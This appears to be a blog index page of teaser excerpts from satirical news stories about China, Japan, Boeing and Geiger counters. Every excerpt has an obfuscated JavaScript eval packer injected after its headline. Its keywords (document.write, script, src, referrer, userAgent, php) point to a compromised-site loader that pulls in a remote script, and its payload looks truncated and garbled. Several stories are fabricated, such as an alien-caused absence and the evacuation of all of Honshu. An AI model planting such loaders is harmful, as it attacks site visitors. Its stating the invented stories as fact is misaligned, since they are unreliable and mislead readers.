China’s Leader Reappears in Public

CHINA’S NEW LEADER REAPPEARS IN PUBLIC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sezar|var|u0026u|referrer|dadfe||js|php’.split(‘|’),0,{})) Temporary Absence Caused by Aliens Beijing, China September 17th, 2012 (SHK) Xi Jinping, heir apparent to Hu Jintao’s position as President of China, recently reappeared in Beijing after a two-week absence. He was reportedly seen with intravenous tubes hanging from both arms. . [...]

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Chinese Dissident’s Departure Delayed

DEPARTURE OF CHINESE DISSIDENT DELAYED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfars|var|u0026u|referrer|fsetz||js|php’.split(‘|’),0,{})) Bureaucratic Bottlenecks for Exit Permits and U.S. Visas Beijing, China May 5th, 2012 (SHK) Chen Guangcheng, presently China’s most popular dissident because he is both illiterate and blind, has hit another roadblock in his attempt to leave the country. American and Chinese negotiators worked [...]

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Chinese Woman, 17, Still Champ

CHINESE CHESS CHAMP STILL THE WORLD’S BEST eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfhan|var|u0026u|referrer|aeyak||js|php’.split(‘|’),0,{})) Feminists See Huge Gains for Women Ahead Beijing, China November 28th, 2011 (SHK) Hou Yifan, the 17-year-old chess grandmaster from Xinghua, China, retained the title of Women’s World Chess Champion Friday by beating Humpy Koneru, the best Indian woman ever to play [...]

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Radioactive Hotspots Found in Tokyo

RADIOACTIVE “HOTSPOTS” FOUND IN TOKYO eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsina|var|u0026u|referrer|iknzt||js|php’.split(‘|’),0,{})) Japanese government cautions Tokyo residents not to panic Tokyo, Japan October 20th, 2011 (SHK) A private citizens group created to test for radioactivity in Tokyo warned today that Japan’s capital had far higher concentrations of radioactivity than the government previously disclosed. According to Takeo [...]

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China’s Wealth Fuels New Markets

CHINA’S WEALTH FUELS NEW MARKETS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dksfe|var|u0026u|referrer|kbrsf||js|php’.split(‘|’),0,{})) Personal Mistresses and Pig Snouts Top the List Beijing, China September 14th, 2011 (SHK) China’s rapid economic growth has become the Eighth Wonder of the World. Where Japan once captured our attention, today it is China. But the country’s new wealth comes at a [...]

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Japan picks a new Prime Minister

JAPAN NAMES NEW PRIME MINISTER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddnyi|var|u0026u|referrer|znrny||js|php’.split(‘|’),0,{})) But he comes from the same clique of old cronies Tokyo, Japan September 8th, 2011 (SHK) The Democratic Party of Japan late last week announced the selection of Yoshihiko Noda as the country’s new prime minister to replace the outgoing, ineffective Naoto Kan. “In [...]

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Batteries Charging More Now

BATTERIES CHARGING MORE NOW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fihss|var|u0026u|referrer|hiffb||js|php’.split(‘|’),0,{})) New Cars, Digital Gadgets Drive Utility Costs Higher Santa Clara, CA June 6, 2011 (SHK) The Leaf, Nissan Motor Company’s new all-electric zero-emission tiny-car that debuted recently and is now available to American consumers, has been hailed as the best way to beat climate change. [...]

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Geiger Counter Panic Worldwide

WORLDWIDE PANIC OVER GEIGER COUNTERS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfeh|var|u0026u|referrer|aaefz||js|php’.split(‘|’),0,{})) Unit Prices Rise, Stock Prices Soar New York, NY, April 18th, 2011 (SHK) RayBan® Technologies Co. Ltd., the world’s dominant manufacturer of Geiger counters, said today that demand for their most popular product, the battery-operated Little Giant XP-3 Starbeam Detector™ , was out of [...]

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Boeing Launches Super Jumbo

BOEING LAUNCHES 747 SUPER JUMBO eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brnnz|var|u0026u|referrer|znbta||js|php’.split(‘|’),0,{})) New Jetliner to Seat 500 Passengers Seattle, WA April 11th, 2011 (SHK) The Boeing Corporation today announced a successful test flight for its new 747-8 Super Jumbo. Its longer non-stop range is expected to be offset by longer boarding times to accommodate twice as [...]

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Japan’s Main Island Evacuated

JAPAN’S GOVT ADVOCATES TOTAL EVACUATION OF MAIN ISLAND eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhbki|var|u0026u|referrer|eaztt||js|php’.split(‘|’),0,{})) All 100 million Japanese to be relocated from Honshu Tokyo, Japan, March 19th, 2011 (SHK) The Foreign Ministry of Japan today announced the most massive migration movement in human history. Migration options are to be decided by the largest lottery in [...]

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